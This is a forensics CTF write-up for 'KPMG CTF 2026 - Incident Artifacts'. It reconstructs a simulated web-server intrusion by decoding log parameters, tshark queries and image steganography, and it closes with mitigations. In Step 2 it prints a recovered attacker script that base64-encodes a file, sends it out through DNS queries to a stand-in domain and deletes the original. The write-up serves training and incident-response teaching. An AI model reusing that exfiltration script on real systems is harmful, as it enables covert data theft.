Incident Artifacts - KPMG CTF 2026

Published 2026-10-25 11:52 800 words 4 min read

KPMG CTF 2026 - Incident Artifacts


Challenge Description

An attacker compromised the internal web server web01.northstar.local. Three artifacts were recovered from the incident: an access log (access.log), a network packet capture (incident.pcap), and an image from the uploads directory (server_image.png). Reconstruct the intrusion and recover the flag.


Step 1 - Analyzing the Web Access Logs

We started by triaging the provided files. The archive contained:

  • access.log - Web server request log
  • incident.pcap - Packet capture of the server’s network activity
  • server_image.png - PNG image recovered from /uploads/

Searching the access log for administrative routes, data exports, or suspicious patterns immediately highlighted an external IP: 203.0.113.77.

rg -n '203\.0\.113\.77' access.log

The timeline showed:

  1. Failed administrator logins followed by a successful login.
  2. Browsing admin panels and triggering customer and credential table exports.
  3. An upload request for a file named deaddrop.sh.
  4. A download of /uploads/server_image.png.
  5. A call to /admin/clearlogs returning HTTP 200.

Filtering specifically for requests containing DeadDrop-Agent or parameters like layers= and part= surfaced two critical clues:

Line 312:
POST /admin/notes?tag=deaddrop&layers=rot13,base64 HTTP/1.1

Line 401:
GET /static/img/px.gif?part=1&d=X3ZhZ2VocTNl HTTP/1.1

Line 601:
GET /static/img/px.gif?part=2&d=X3NieXliag== HTTP/1.1

Line 312 provided the exact decoding sequence: rot13,base64, meaning the attacker encoded with ROT13 then Base64. To decode, we reverse it: Base64 decode first, then ROT13.

Decoding part=1:

printf '%s' 'X3ZhZ2VocTNl' | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# _intrud3r

Decoding part=2:

printf '%s' 'X3NieXliag==' | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# _follow

We now had two fragments: _intrud3r and _follow.


Step 2 - Inspecting the Packet Capture

Next, we analyzed incident.pcap using Wireshark and tshark to correlate with the access log findings.

Filtering for HTTP requests referencing deaddrop.sh:

tshark -r incident.pcap -Y 'http.request && http.request.uri contains "deaddrop.sh"' \
  -T fields -e frame.number -e ip.src -e ip.dst -e tcp.stream -e http.request.uri

Packet 933 (TCP stream 49) showed internal server 192.168.56.20 downloading /deaddrop.sh from the attacker IP 203.0.113.77.

Following TCP stream 49 revealed the script contents in packet 935:

#!/bin/bash
# deaddrop v1.2 - exfil over DNS
# usage: ./deaddrop.sh <file>
DATA=$(cat "${1:-/tmp/.note}" | base64 -w0)
dig +short "$DATA.deaddrop.example" @192.168.56.2
rm -f /tmp/.note
echo "[deaddrop] drop complete"

The script Base64-encodes the target file and issues a DNS query to resolver 192.168.56.2 under the subdomain *.deaddrop.example.


Step 3 - Recovering the DNS Exfiltration Fragment

Knowing the DNS exfiltration format, we filtered the capture for DNS queries containing deaddrop:

tshark -r incident.pcap \
  -Y 'ip.src == 192.168.56.20 && dns.flags.response == 0 && dns.qry.name contains "deaddrop"' \
  -T fields -e frame.number -e frame.time -e dns.qry.name

Packet 976 showed an outgoing query for:

S1BNR19DVEZ7dHI0Y2VfdGhl.deaddrop.example

Base64 decoding the subdomain label:

printf '%s' 'S1BNR19DVEZ7dHI0Y2VfdGhl' | base64 -d

Output:

KPMG_CTF{tr4ce_the

This gave us the starting fragment of the flag.


Step 4 - Extracting Steganography from the Server Image

The access log noted the attacker downloading /uploads/server_image.png.

Server maintenance notice
Server maintenance notice

The visible image displayed a standard maintenance banner for web01.northstar.local stating “Snapshot of /var/www/uploads - Nothing to see here. Move along.”

We inspected the image for least-significant bit (LSB) steganography across the RGB channels. Extracting bit 0 of each channel produced:

magick server_image.png -depth 8 RGB:- | \
  perl -0777 -ne '$bits = join "", map { $_ & 1 } unpack("C*", $_); $text = pack("B*", $bits); $text =~ s/\x00.*//s; print "$text\n";'

Output:

DEAD_DROP::L52GQZK7ORZDI2LMPU======::END

The marker wrapped a Base32-encoded string. Decoding L52GQZK7ORZDI2LMPU======:

printf '%s' 'L52GQZK7ORZDI2LMPU======' | base32 -d

Output:

_the_tr4il}

Step 5 - Assembling the Flag

Piecing together the fragments across all three sources:

SourceMethodValue
PCAP (DNS query)Base64 decodeKPMG_CTF{tr4ce_the
Access log (part 1)Base64 + ROT13_intrud3r
Access log (part 2)Base64 + ROT13_follow
Image (server_image.png)RGB LSB + Base32_the_tr4il}

Concatenating them in order gave the complete flag.


Flag

KPMG_CTF{tr4ce_the_intrud3r_follow_the_tr4il}

Mitigations

FindingRecommended Fix
Credential stuffing / brute force loginImplement multi-factor authentication (MFA) and rate limiting on admin authentication
Outbound DNS data exfiltrationRestrict recursive DNS resolution to approved internal domains and monitor for high-entropy DNS queries
Unrestricted file uploadsRestrict upload directory execution permissions and perform rigorous integrity checking on uploaded assets

Summary

The investigation tied together three forensic artifacts: access logs exposed the attacker’s footprint and decoding scheme for pixel tracking requests, PCAP analysis uncovered a custom DNS exfiltration script with the flag prefix, and LSB extraction of the downloaded server image delivered the final Base32-encoded suffix.